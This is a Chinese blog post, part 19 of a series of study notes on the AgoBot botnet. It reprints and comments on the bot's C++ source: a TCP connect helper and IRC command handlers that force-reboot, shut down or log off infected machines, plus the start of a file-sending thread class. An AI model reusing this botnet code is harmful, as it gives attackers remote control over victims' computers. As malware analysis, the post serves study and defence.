您的位置:首页 > 理论基础 > 计算机网络

AgoBot 僵尸网络研究笔记(十九)

2008-05-23 16:45 295 查看

十九、2008年04月17日

作者:青青子衿
email:anzijin@sina.com

1、void *CDownloadHelper::Run()函数中使用了 DoTcpConnect函数
/////////////////////////////////////////////////////////////////
//
//函数功能:实现TCP协议通讯的连接
//参数: const char *szHost IP地址
// int iPort 端口
//返回值: 返回的是套接字变量
//
////////////////////////////////////////////////////////////////////
int DoTcpConnect(const char *szHost, int iPort)
{
int sSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sSocket==INVALID_SOCKET)
{
return SOCKET_ERROR;
}

sockaddr_in ssin;
memset(&ssin, 0, sizeof(ssin));
ssin.sin_family=AF_INET;
ssin.sin_port=htons(iPort); //设置目标端端口
ssin.sin_addr.s_addr=ResolveAddress(szHost); //设置目标端的IP地址

if(connect(sSocket, (sockaddr*)&ssin, sizeof(sockaddr_in))==SOCKET_ERROR) //发起连接
{
//如果连接失败
xClose(sSocket);
return SOCKET_ERROR;
}
return sSocket;
}

2、class CRSLControl : public CCommandHandler类

class CRSLControl : public CCommandHandler
{
public:
void Init();
bool HandleCommand(CMessage *pMsg);

command m_cmdReboot, m_cmdShutdown, m_cmdLogoff;
};
包含两个成员函数,和三个成员变量。

3、void CRSLControl::Init() 函数

////////////////////////////////////////////////////////////////////////////////
//
//函数功能:完成CRSLControl类的初始化工作,向指令列表中添加,该类负责处理的指令
//参数: 无
//返回值: void
//
////////////////////////////////////////////////////////////////////////////////
void CRSLControl::Init()
{
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdReboot, "rsl.reboot", "reboots the computer", this); //重启系统指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdShutdown, "rsl.shutdown", "shuts the computer down", this); //关机指令
g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogoff, "rsl.logoff", "logs the user off", this); //注销指令
}

4、bool HandleCommand(CMessage *pMsg);函数

///////////////////////////////////////////////////////////////////////////////
//
//函数功能:该类的指令处理函数
//参数: CMessage *pMsg 收到的相应的指令
//返回值: 调用成功返回true,否则返回false
//
/////////////////////////////////////////////////////////////////////////////////////
bool CRSLControl::HandleCommand(CMessage *pMsg)
{
//处理重启指令
if(!pMsg->sCmd.Compare("rsl.reboot"))
{
//向控制端发送正在重启消息
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "rebooting...");
#ifdef WIN32
ExitWindowsEx(EWX_REBOOT|EWX_FORCE,0); //重启计算机的函数
#else
system("reboot"); //linux平台下的重启计算机的函数
#endif // WIN32
}

//处理关闭计算机指令
else if(!pMsg->sCmd.Compare("rsl.shutdown"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, "shutting down...");
#ifdef WIN32
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE,0);
#else
system("shutdown");
#endif // WIN32
}

//处理注销指令
else if(!pMsg->sCmd.Compare("rsl.logoff"))
{
g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice, pMsg->sReplyTo, /
"logging off...");
#ifdef WIN32
ExitWindowsEx(EWX_LOGOFF|EWX_FORCE,0);
#else
system("init 1");
#endif // WIN32
}
return false;
}

5、class CSendFile : public CThread 类
//////////////////////////////////////////////////////
//
//类功能:发送文件
//
//////////////////////////////////////////////////////
class CSendFile : public CThread
{
public:
virtual ~CSendFile()
{
if(m_sListenSocket>0)
{
xClose(m_sListenSocket);
}
}
virtual void *Run();
protected:
int m_sListenSocket;
sockaddr_in m_lAddr;
};
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: